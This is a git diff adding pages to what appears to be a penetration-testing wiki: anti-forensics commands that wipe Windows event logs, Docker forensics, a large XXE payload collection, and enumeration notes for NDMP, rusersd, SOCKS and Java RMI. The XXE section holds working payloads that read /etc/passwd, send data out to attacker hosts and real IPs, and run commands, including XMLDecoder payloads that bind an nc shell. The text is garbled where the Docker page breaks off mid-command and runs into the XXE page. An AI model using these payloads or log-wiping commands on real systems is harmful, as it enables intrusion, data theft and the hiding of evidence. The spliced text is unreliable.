+* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
+
+### Disable Windows event logs
+
+* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
+* Inside the services section disable the service "Windows Event Log"
+* `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl`
+
+### Disable $UsnJrnl
+
+* `fsutil usn deletejournal /d c:`
+
diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md
new file mode 100644
index 00000000000..01c448ddb72
--- /dev/null
+++ b/forensics/basic-forensic-methodology/docker-forensics.md
@@ -0,0 +1,76 @@
+# Docker Forensics
+
+## Container modification
+
+There are suspicions that some docker container was compromised:
+
+```bash
+docker ps
+CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
+cc03e43a052a        lamp-wordpress      "./run.sh"          2 minutes ago       Up 2 minutes        80/tcp              wordpress
+```
+
+You can easily **find the modifications done to this container respecting to the image** with:
+
+```bash
+docker diff wordpress
+C /var
+C /var/lib
+C /var/lib/mysql
+A /var/lib/mysql/ib_logfile0
+A /var/lib/mysql/ib_logfile1
+A /var/lib/mysql/ibdata1
+A /var/lib/mysql/mysql
+A /var/lib/mysql/mysql/time_zone_leap_second.MYI
+A /var/lib/mysql/mysql/general_log.CSV
+...
+```
+
+In the previous command **C** means **Changed** and **A,** **Added**.  
+If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with:
+
+```bash
+docker cp wordpress:/etc/shadow .
+```
+
+You can also **compare it with the original one** running a new container and extracting the file from it:
+
+```bash
+docker run -d lamp-wordpress
+docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
+diff original_shadow shadow
+```
+
+If you find that **some suspicious file was added** you can access the container and check it:
+
+```bash
+docker exec -it wordpress bash
+```
+
+## Images modifications
+
+When you are given an exported docker image \(probably in `.tar` format\) you can use the following command to **extract the modifications**:
+
+```bash
+docker save </svg>
+```
+
+You could also try to **execute commands** using the PHP "expect" wrapper:
+
+```markup
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
+    <image xlink:href="expect://ls"></image>
+</svg>
+```
+
+**Note the first line of the read file or of the result of the execution will appear INSIDE the created image. So you need to be able to access the image SVG has created.**
+
+### **PDF - File upload**
+
+Read the following post to **learn how to exploit a XXE uploading a PDF** file:
+
+{% page-ref page="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
+
+### Content-Type: From x-www-urlencoded to XML
+
+If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following:
+
+```markup
+POST /action HTTP/1.0
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 7
+
+foo=bar
+```
+
+Then you might be able submit the following request, with the same result:
+
+```markup
+POST /action HTTP/1.0
+Content-Type: text/xml
+Content-Length: 52
+
+<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
+```
+
+### Content-Type: From JSON to XEE
+
+To change the request you could use a Burp Extension named “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
+
+```markup
+Content-Type: application/json;charset=UTF-8
+
+{"root": {"root": {
+  "firstName": "Avinash",
+  "lastName": "",
+  "country": "United States",
+  "city": "ddd",
+  "postalCode": "ddd"
+}}}
+```
+
+```markup
+Content-Type: application/xml;charset=UTF-8
+
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]> 
+<root>
+ <root>
+  <firstName>&xxe;</firstName>
+  <lastName/>
+  <country>United States</country>
+  <city>ddd</city>
+  <postalCode>ddd</postalCode>
+ </root>
+</root>
+```
+
+Another example can be found [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
+
+## WAF & Protections Bypasses
+
+### Base64
+
+```markup
+<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
+```
+
+This only work if the XML server accepts the `data://` protocol.
+
+### UTF-7
+
+You can use the \[**"Encode Recipe**" of cyberchef here \]\(\[[https://gchq.github.io/CyberChef/\#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4\)to\]\([https://gchq.github.io/CyberChef/\#recipe=Encode\_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7%20%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)\) transform to UTF-7.
+
+```markup
+<!xml version="1.0" encoding="UTF-7"?-->
++ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
+```
+
+```markup
+<?xml version="1.0" encoding="UTF-7"?>
++ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
++ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
++ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
+```
+
+### File:/ Protocol Bypass
+
+If the web is using PHP, instead of using `file:/` you can use **php wrappers**`php://filter/convert.base64-encode/resource=` to **access internal files**.
+
+If the web is using Java you may check the [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
+
+### HTML Entities
+
+Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)  
+You can create an **entity inside an entity** encoding it with **html entities** and then call it to **load a dtd**.  
+Note that the **HTML Entities** used needs to be **numeric** \(like \[in this example\]\([https://gchq.github.io/CyberChef/\#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)\](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric%20entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B%29\)\).
+
+```markup
+<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x20;&#x25;&#x20;&#x64;&#x74;&#x64;&#x20;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x20;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x20;&#x3E;" >%a;%dtd;]>
+<data>
+    <env>&exfil;</env>
+</data>
+```
+
+DTD example:
+
+```markup
+<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
+<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
+%abt;
+%exfil;
+```
+
+## PHP Wrappers
+
+### Base64
+
+**Extract** _**index.php**_
+
+```markup
+<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
+```
+
+#### **Extract external resource**
+
+```markup
+<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
+```
+
+### Remote code execution
+
+**If PHP "expect" module is loaded**
+
+```markup
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<!DOCTYPE foo [ <!ELEMENT foo ANY >
+<!ENTITY xxe SYSTEM "expect://id" >]>
+<creds>
+    <user>&xxe;</user>
+    <pass>mypass</pass>
+</creds>
+```
+
+## **SOAP - XEE**
+
+```markup
+<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
+```
+
+## XLIFF - XXE
+
+This section was taken from [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)  
+According to the [Wikipedia](https://en.wikipedia.org/wiki/XLIFF):
+
+> XLIFF \(XML Localization Interchange File Format\) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange.
+
+### Blind request
+
+```markup
+------WebKitFormBoundaryqBdAsEtYaBjTArl3
+Content-Disposition: form-data; name="file"; filename="xxe.xliff"
+Content-Type: application/x-xliff+xml
+
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE XXE [
+<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
+<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
+------WebKitFormBoundaryqBdAsEtYaBjTArl3--
+```
+
+The server response with an error:
+
+```javascript
+{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
+```
+
+But we got a hit on Burp Collaborator.
+
+### Exfiltrating Data via Out of Band
+
+```markup
+------WebKitFormBoundaryqBdAsEtYaBjTArl3
+Content-Disposition: form-data; name="file"; filename="xxe.xliff"
+Content-Type: application/x-xliff+xml
+
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE XXE [
+<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
+<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
+------WebKitFormBoundaryqBdAsEtYaBjTArl3--
+```
+
+Based on the displayed User Agent returned by burp collaborator, it appears that it is using **Java 1.8**. One of the problems when exploiting XXE on this version of Java is **we’re unable to obtain the files containing a `New Line`** such as `/etc/passwd` using the Out of Band technique.
+
+### Exfiltrating Data via Error Based
+
+DTD File:
+
+```markup
+<!ENTITY % data SYSTEM "file:///etc/passwd">
+<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
+%foo;
+%xxe;
+```
+
+Server Response:
+
+```javascript
+{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
+```
+
+Great! The `non-exist` file is reflected in the Error messages. Next is adding the File Content.
+
+DTD File:
+
+```markup
+<!ENTITY % data SYSTEM "file:///etc/passwd">
+<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
+%foo;
+%xxe;
+```
+
+And the content of the file was successfully **printed in the output of the error sent via HTTP**.
+
+## RSS - XEE
+
+Valid XML with RSS format to exploit an XXE vulnerability.
+
+### Ping back
+
+Simple HTTP request to attackers server
+
+```markup
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE title [ <!ELEMENT title ANY >
+<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
+<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
+<channel>
+<title>XXE Test Blog</title>
+<link>http://example.com/</link>
+<description>XXE Test Blog</description>
+<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
+<item>
+<title>&xxe;</title>
+<link>http://example.com</link>
+<description>Test Post</description>
+<author>author@example.com</author>
+<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
+</item>
+</channel>
+</rss>
+```
+
+### Read file
+
+```markup
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE title [ <!ELEMENT title ANY >
+<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
+<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
+<channel>
+<title>The Blog</title>
+<link>http://example.com/</link>
+<description>A blog about things</description>
+<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
+<item>
+<title>&xxe;</title>
+<link>http://example.com</link>
+<description>a post</description>
+<author>author@example.com</author>
+<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
+</item>
+</channel>
+</rss>
+```
+
+### Read source code
+
+Using PHP base64 filter
+
+```markup
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE title [ <!ELEMENT title ANY >
+<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
+<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
+<channel>
+<title>The Blog</title>
+<link>http://example.com/</link>
+<description>A blog about things</description>
+<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
+<item>
+<title>&xxe;</title>
+<link>http://example.com</link>
+<description>a post</description>
+<author>author@example.com</author>
+<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
+</item>
+</channel>
+</rss>
+```
+
+## Java XMLDecoder XEE to RCE
+
+XMLDecoder is a Java class that creates objects based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method **readObject**, he will instantly gain code execution on the server.
+
+### Using Runtime\(\).exec\(\)
+
+```markup
+<?xml version="1.0" encoding="UTF-8"?>
+<java version="1.7.0_21" class="java.beans.XMLDecoder">
+ <object class="java.lang.Runtime" method="getRuntime">
+      <void method="exec">
+      <array class="java.lang.String" length="6">
+          <void index="0">
+              <string>/usr/bin/nc</string>
+          </void>
+          <void index="1">
+              <string>-l</string>
+          </void>
+          <void index="2">
+              <string>-p</string>
+          </void>
+          <void index="3">
+              <string>9999</string>
+          </void>
+          <void index="4">
+              <string>-e</string>
+          </void>
+          <void index="5">
+              <string>/bin/sh</string>
+          </void>
+      </array>
+      </void>
+ </object>
+</java>
+```
+
+### ProcessBuilder
+
+```markup
+<?xml version="1.0" encoding="UTF-8"?>
+<java version="1.7.0_21" class="java.beans.XMLDecoder">
+  <void class="java.lang.ProcessBuilder">
+    <array class="java.lang.String" length="6">
+      <void index="0">
+        <string>/usr/bin/nc</string>
+      </void>
+      <void index="1">
+         <string>-l</string>
+      </void>
+      <void index="2">
+         <string>-p</string>
+      </void>
+      <void index="3">
+         <string>9999</string>
+      </void>
+      <void index="4">
+         <string>-e</string>
+      </void>
+      <void index="5">
+         <string>/bin/sh</string>
+      </void>
+    </array>
+    <void method="start" id="process">
+    </void>
+  </void>
+</java>
+```
+
+## Tools
+
+{% embed url="https://github.com/luisfontes19/xxexploiter" caption="" %}
+
+## More resources
+
+[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)  
+[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)  
+Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)  
+[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)  
+[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)  
+[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)  
+[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)  
+[https://gosecure.github.io/xxe-workshop/\#7](https://gosecure.github.io/xxe-workshop/#7)
+
diff --git a/pentesting/10000-network-data-management-protocol-ndmp.md b/pentesting/10000-network-data-management-protocol-ndmp.md
new file mode 100644
index 00000000000..0cf7485d91b
--- /dev/null
+++ b/pentesting/10000-network-data-management-protocol-ndmp.md
@@ -0,0 +1,24 @@
+# 10000 - Pentesting Network Data Management Protocol \(ndmp\)
+
+## **Protocol Information**
+
+**NDMP**, or **Network Data Management Protocol**, is a protocol meant to transport data between network attached storage \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) devices and [backup](https://en.wikipedia.org/wiki/Backup) devices. This removes the need for transporting the data through the backup server itself, thus enhancing speed and removing load from the backup server.  
+From [Wikipedia](https://en.wikipedia.org/wiki/NDMP).
+
+**Default port:** 10000
+
+```text
+PORT      STATE SERVICE REASON  VERSION
+10000/tcp open  ndmp    syn-ack Symantec/Veritas Backup Exec ndmp
+```
+
+## **Enumeration**
+
+```bash
+nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
+```
+
+### Shodan
+
+`ndmp`
+
diff --git a/pentesting/1026-pentesting-rusersd.md b/pentesting/1026-pentesting-rusersd.md
new file mode 100644
index 00000000000..9fb2acdb211
--- /dev/null
+++ b/pentesting/1026-pentesting-rusersd.md
@@ -0,0 +1,19 @@
+# 1026 - Pentesting Rusersd
+
+## Basic Information
+
+This protocol will provide you the usernames of the host. You may be able to find this services listed by the port-mapper service like this:
+
+![](../.gitbook/assets/image%20%2814%29.png)
+
+### Enumeration
+
+```text
+root@kali:~# apt-get install rusers
+root@kali:~# rusers -l 192.168.10.1
+Sending broadcast for rusersd protocol version 3...
+Sending broadcast for rusersd protocol version 2...
+tiff       potatohead:console         Sep  2 13:03   22:03
+katykat    potatohead:ttyp5           Sep  1 09:35      14
+```
+
diff --git a/pentesting/1080-pentesting-socks.md b/pentesting/1080-pentesting-socks.md
new file mode 100644
index 00000000000..76e41ca87cf
--- /dev/null
+++ b/pentesting/1080-pentesting-socks.md
@@ -0,0 +1,70 @@
+# 1080 - Pentesting Socks
+
+## Basic Information
+
+SOCKS is an Internet protocol that exchanges network packets between a client and server through a proxy server. SOCKS5 optionally provides authentication,  
+so only authorized users may access a server.
+
+Practically, a SOCKS server proxies TCP connections to an arbitrary IP address, and provides a means for UDP packets to be forwarded.  
+SOCKS performs at Layer 5 of the OSI model
+
+**Default Port:** 1080
+
+## Enumeration
+
+### Authentication Check
+
+```bash
+nmap -p 1080 <ip> --script socks-auth-info
+```
+
+### Brute Force
+
+#### Basic usage
+
+```bash
+nmap --script socks-brute -p 1080 <ip>
+```
+
+#### Advanced usage
+
+```bash
+nmap  --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
+```
+
+#### Output
+
+```text
+PORT     STATE SERVICE
+1080/tcp open  socks
+| socks-brute:
+|   Accounts
+|     patrik:12345 - Valid credentials
+|   Statistics
+|_    Performed 1921 guesses in 6 seconds, average tps: 320
+```
+
+## Tunneling and Port Forwarding
+
+### Basic proxychains usage
+
+Setup proxy chains to use socks proxy
+
+```text
+nano /etc/proxychains4.conf
+```
+
+Edit the bottom and add your proxy
+
+```text
+socks5 10.10.10.10 1080
+```
+
+With auth
+
+```text
+socks5 10.10.10.10 1080 username password
+```
+
+#### More info: [Tunneling and Port Forwarding](../tunneling-and-port-forwarding.md)
+
diff --git a/pentesting/1099-pentesting-java-rmi.md b/pentesting/1099-pentesting-java-rmi.md
new file mode 100644
index 00000000000..c4dfe333cb7
--- /dev/null
+++ b/pentesting/1099-pentesting-java-rmi.md
@@ -0,0 +1,311 @@
+# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
+
+## Basic Information
+
+The Java Remote Method Invocation, or Java RMI, is a mechanism that **allows** an object that exists in **one** **Java** virtual machine to **access** and **call** methods that are contained in **another** **Java** virtual machine; This is basically the same thing as a [remote procedure call](https://null-byte.wonderhowto.com/how-to/hack-like-pro-exploit-and-gain-remote-access-pcs-running-windows-xp-0134709/), but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.
+
+One of the major advantages of RMI is the ability for remote objects to load new classes that aren't explicitly defined already, extending the behavior and functionality of an application.  
+From [here](https://null-byte.wonderhowto.com/how-to/exploit-java-remote-method-invocation-get-root-0187685/).
+
+**Default port:** 1099, 1098
+
+```text
+PORT     STATE SERVICE     REASON
+1099/tcp open  rmiregistry syn-ack
+1099/tcp open  java-rmi    Java RMI
+```
+
+### Example
+
+\(Example taken from [here](https://en.wikipedia.org/wiki/Java_remote_method_invocation)\)  
+The following classes implement a simple client-server program using RMI that displays a message.
+
+**`RmiServer` class** — listens to RMI requests and implements the interface which is used by the client to invoke remote methods.
+
+```java
+import java.rmi.Naming;
+import java.rmi.RemoteException;
+import java.rmi.server.UnicastRemoteObject;
+import java.rmi.registry.*;
+
+public class RmiServer extends UnicastRemoteObject implements RmiServerIntf {
+    public static final String MESSAGE = "Hello World";
+
+    public RmiServer() throws RemoteException {
+        super(0); // required to avoid the 'rmic' step, see below
+    }
+
+    public String getMessage() {
+        return MESSAGE;
+    }
+
+    public static void main(String args[]) throws Exception {
+        System.out.println("RMI server started");
+
+        try { //special exception handler for registry creation
+            LocateRegistry.createRegistry(1099);
+            System.out.println("java RMI registry created.");
+        } catch (RemoteException e) {
+            //do nothing, error means registry already exists
+            System.out.println("java RMI registry already exists.");
+        }
+
+        //Instantiate RmiServer
+        RmiServer server = new RmiServer();
+
+        // Bind this object instance to the name "RmiServer"
+        Naming.rebind("//localhost/RmiServer", server);
+        System.out.println("PeerServer bound in registry");
+    }
+}
+```
+
+**`RmiServerIntf` interface** — defines the interface that is used by the client and implemented by the server.
+
+```java
+import java.rmi.Remote;
+import java.rmi.RemoteException;
+
+public interface RmiServerIntf extends Remote {
+    String getMessage() throws RemoteException;
+}
+```
+
+**`RmiClient` class** — this is the client which gets the reference \(a proxy\) to the remote object living on the server and invokes its method to get a message. If the server object implemented java.io.Serializable instead of java.rmi.Remote, it would be serialized and passed to the client as a value.[\[2\]](https://en.wikipedia.org/wiki/Java_remote_method_invocation#cite_note-2)
+
+```java
+import java.rmi.Naming;
+
+public class RmiClient {
+    public static void main(String args[]) throws Exception {
+        RmiServerIntf server = (RmiServerIntf)Naming.lookup("//localhost/RmiServer");
+        System.out.println(server.getMessage());
+    }
+}
+```
+
+## RMI Enumeration
+
+RMI registries do **not disclose a list of available method signatures**, but if you can guess it, you can invoke it. Therefore, a good approach to abuse this service is to **brute-force** the available method signatures.  
+RMI methods are usually interesting as a bunch of them will **deserialize the received data** making them vulnerable to [**Java Insecure Deserialization**](../pentesting-web/deserialization/#java-http) and granting RCE to an attacker.
+
+### RMI Method Signatures
+
+\(Research taken from [https://labs.bishopfox.com/tech-blog/rmiscout](https://labs.bishopfox.com/tech-blog/rmiscout)\)
+
+To execute remote methods, Java RMI clients submit a 64-bit hash of the method signature, which the server uses to identify the corresponding server-side method. These **hashes are computed** with the following logic:
+
+1. **Source code** representation of the signature:
+
+   `void myRemoteMethod(int count, Object obj, boolean flag)`
+
+2. **Bytecode** representation of signature:
+
+   `myRemoteMethod(ILjava/lang/Object;Z)V`
+
+3. Method Hash: **big-endian representation of first 8 bytes of the SHA1 of the signature**:
+
+   `Hash = SHA1String(“myRemoteMethod(ILjava/lang/Object;Z)V”).substring(0,8).reverse()`
+
+As shown above, the information that is used to compute a method hash are: **the method name, the return types, and an ordered list of the fully qualified names of the parameters’ types**. Instead of brute-forcing the 64-bit keyspace, we can use wordlists for each of these categories to guess common signatures. Using [GitGot](https://labs.bishopfox.com/blog/gitgot-tool-release), I scraped GitHub for RMI interfaces in open source projects and found interesting patterns across the 15,000+ method signatures:
+
+![Distribution of return types of 15,000 functions sampled from RMI interfaces on GitHub](https://labs.bishopfox.com/hs-fs/hubfs/200508-content-image-pie-chart-RMIScout.png?width=617&name=200508-content-image-pie-chart-RMIScout.png)
+
+_**Figure 2**: Distribution of return types of 15,000 functions sampled from RMI interfaces on GitHub_
+
+As shown above, using `int`, `boolean`, and `void` as our guessed return types gives us a 61.4% chance of guessing correctly based off this data. If we add `java.lang.String`, we can add an extra 9.8% to our probable success, as it represents nearly a third of the non-primitive return types. That brings our final list of candidate return types \(`int`, `boolean`, `void`, `String`\) to a 71.22% probability in the observed dataset.
+
+RMIScout includes a deduped wordlist of prototypes \(`prototypes.txt`\) found from this exploration and it also includes a list of most frequently occurring method names \(`methods.txt`\).
+
+### Brute-Forcing Signatures
+
+To **identify RMI functions without executing them**, RMIScout leverages low-level JRE RMI functions and uses dynamic class generation to send RMI invocations with **deliberately mismatched types** to trigger **`RemoteExceptions`**. These exceptions allow us to identify remote methods without actually invoking them.
+
+To accomplish this, RMIScout **computes the method hash** using the original user-supplied types, but substitutes the values of all parameters for an instance of a **dynamically generated, serializable clas**s. The class is generated with a **random 255-character name** \(the underlying assumption being that this random name does not exist in the remote class path\). For example:
+
+**Candidate Remote Interface:**
+
+`void login(String user, String password)`
+
+**RMIScout will invoke:**
+
+`login((String) new QUjsdg83..255 chars..(), (String) new QUjsdg83..255 chars..())`
+
+If the **RMI method is present**, it will attempt to **unmarshal** the parameters. This will result in a **remote exception** disclosed to the client. Specifically, it’ll be a `java.rmi.UnmarshalException` either caused by a `ClassNotFoundException` \(due to our non-existent random class\) or by other exceptions \(finding object-typed data when primitive-typed data was expected in the stream\) **without invoking the underlying method.**
+
+I was **not able to discover a method for identifying parameter-less methods without invoking them**. As such, by default void argument prototypes are skipped by RMIScout unless the option `--allow-unsafe` is used. **Note: `--allow-unsafe`** will cause parameter-less methods to **be invoked on discovery**, which can lead to unexpected and possibly destructive behavior on the remote server.
+
+### Automatic Enumeration
+
+```bash
+msf> use auxiliary/scanner/misc/java_rmi_server
+msf> use auxiliary/gather/java_rmi_registry
+nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p <PORT> <IP>
+```
+
+[https://github.com/BishopFox/rmiscout](https://github.com/BishopFox/rmiscout) to explore and try to find RCE vulnerabilities.  
+[https://github.com/NickstaDB/BaRMIe](https://github.com/NickstaDB/BaRMIe) to enumerate and attack  
+[https://github.com/siberas/sjet](https://github.com/siberas/sjet) allows an easy exploitation of insecure configured JMX services \(I tried and It gave me `Error: Can't connect to remote service` let me know if you know how to fix this issue\).
+
+### Reverse Shell
+
+```bash
+msf> use exploit/multi/misc/java_rmi_server
+```
+
+## RMI-IIOP
+
+> **RMI-IIOP** \(read as "RMI over IIOP"\) denotes the [Java Remote Method Invocation](https://en.wikipedia.org/wiki/Java_Remote_Method_Invocation) \(RMI\) interface over the [Internet Inter-Orb Protocol](https://en.wikipedia.org/wiki/Internet_Inter-Orb_Protocol) \(IIOP\), which delivers [Common Object Request Broker Architecture](https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture) \(CORBA\) [distributed computing](https://en.wikipedia.org/wiki/Distributed_computing) capabilities to the Java platform. It was initially based on two specifications: the Java Language Mapping to OMG IDL, and CORBA/IIOP 2.3.1
+>
+> With features inherited from CORBA, software components that work together can be written in multiple computer languages and run on multiple computers. In other words, it supports multiple platforms and can make remote procedure calls to execute, subroutines on another computer as defined by RMI.  
+> Description from [here](https://en.wikipedia.org/wiki/RMI-IIOP).
+
+\(Research from [https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout](https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout)\)
+
+Unlike standard Java RMI \(aka RMI-JRMP\) services that are identified by a method hash, Java Method invocation over the CORBA Internet Inter-Orb Protocol \(RMI-IIOP\) uses **two different algorithms to identify method signatures**:
+
+1. For **non-overloaded methods**, the signature is just the **method name represented as a string**. Parameter types, the number of parameters, and return type are all disregarded.
+2. For **overloaded methods** \(methods sharing the same name\), RMI-IIOP uses a concatenated string with the **method name and its respective ordered types** \(examples below\).
+
+Let’s take a look at an example interface and a decompiled RMI-IIOP stub. Here is an excerpt of the remote interface from the RMIScout demo:
+
+```java
+public int add(int paramInt1, int paramInt2) throws RemoteException;
+public String sayTest19(int paramInt) throws RemoteException;
+public String sayTest19(List paramList1, List paramList2) throws RemoteException;
+public String sayTest19(List[] paramArrayOfList, int paramInt) throws RemoteException;
+public Object sayTest20(String paramString) throws RemoteException;
+```
+
+First let’s look at the **`add(int,int)`** method. Since its **method name is unique**, the **generated stub** is simply the **method** **name**. The server compares the client’s requested method \(`paramString` in the figure below\) against a string literal.
+
